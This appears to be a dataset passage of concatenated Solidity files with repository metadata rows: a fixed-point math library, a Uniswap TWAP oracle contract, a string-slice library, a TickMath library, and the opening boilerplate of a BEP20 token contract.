function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 84,884 | 10,383 |
160fc25fe002d2993b2e246a2c3582173a020870bbf1c85dfe8541140c918dba
| 24,847 |
.sol
|
Solidity
| false |
127633480
|
OriginSport/bet-center
|
5357837c8bd560295b75e7aa3d4150e85e1b116a
|
contracts/utils/strings.sol
| 4,005 | 14,937 |
pragma solidity ^0.4.14;
library strings {
struct slice {
uint _len;
uint _ptr;
}
function memcpy(uint dest, uint src, uint len) private pure {
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string self) internal pure returns (slice) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal pure returns (slice ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice self) internal pure returns (slice) {
return slice(self._len, self._ptr);
}
function toString(slice self) internal pure returns (string) {
string memory ret = new string(self._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice self) internal pure returns (uint l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) {
ptr += 1;
} else if(b < 0xE0) {
ptr += 2;
} else if(b < 0xF0) {
ptr += 3;
} else if(b < 0xF8) {
ptr += 4;
} else if(b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice self) internal pure returns (bool) {
return self._len == 0;
}
function compare(slice self, slice other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function equals(slice self, slice other) internal pure returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice self, slice rune) internal pure returns (slice) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
// Load the first byte of the rune into the LSBs of b
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function nextRune(slice self) internal pure returns (slice ret) {
nextRune(self, ret);
}
function ord(slice self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice self, slice needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice self, slice needle) internal pure returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, length), sha3(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice self, slice needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice self, slice needle) internal pure returns (slice) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
event log_bytemask(bytes32 mask);
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice self, slice needle) internal pure returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice self, slice needle) internal pure returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice self, slice needle, slice token) internal pure returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal pure returns (slice token) {
split(self, needle, token);
}
function rsplit(slice self, slice needle, slice token) internal pure returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice self, slice needle) internal pure returns (slice token) {
rsplit(self, needle, token);
}
function count(slice self, slice needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice self, slice needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice self, slice other) internal pure returns (string) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice self, slice[] parts) internal pure returns (string) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
| 8,050 | 10,384 |
5a946ba77f88b49b704155f05001360c2cd795d6fec597329b00695a543c38fc
| 9,601 |
.sol
|
Solidity
| false |
442301933
|
0xTomoyo/fullrange
|
06729435cdc1c9b235e2c3ccd3b3258b871eb6dc
|
src/libraries/TickMath.sol
| 3,333 | 8,634 |
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.8.0;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// prices between 2**-128 and 2**128
library TickMath {
int24 internal constant MIN_TICK = -887272;
int24 internal constant MAX_TICK = -MIN_TICK;
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
unchecked {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(int256(MAX_TICK)), "T");
uint256 ratio = absTick & 0x1 != 0
? 0xfffcb933bd6fad37aa2d162d1a594001
: 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
unchecked {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, "R");
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
function getTicks(int24 tickSpacing) internal pure returns (int24 minTick, int24 maxTick) {
minTick = (MIN_TICK / tickSpacing) * tickSpacing;
maxTick = (MAX_TICK / tickSpacing) * tickSpacing;
}
}
| 137,351 | 10,385 |
22c5e6b1a5070ca063050d344d789cfc94d4373f85d1796cd56b176673c8c896
| 38,123 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a5/a5411b968558a233e7683197ac9e184a368b2251_HomoFunk.sol
| 4,859 | 19,069 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
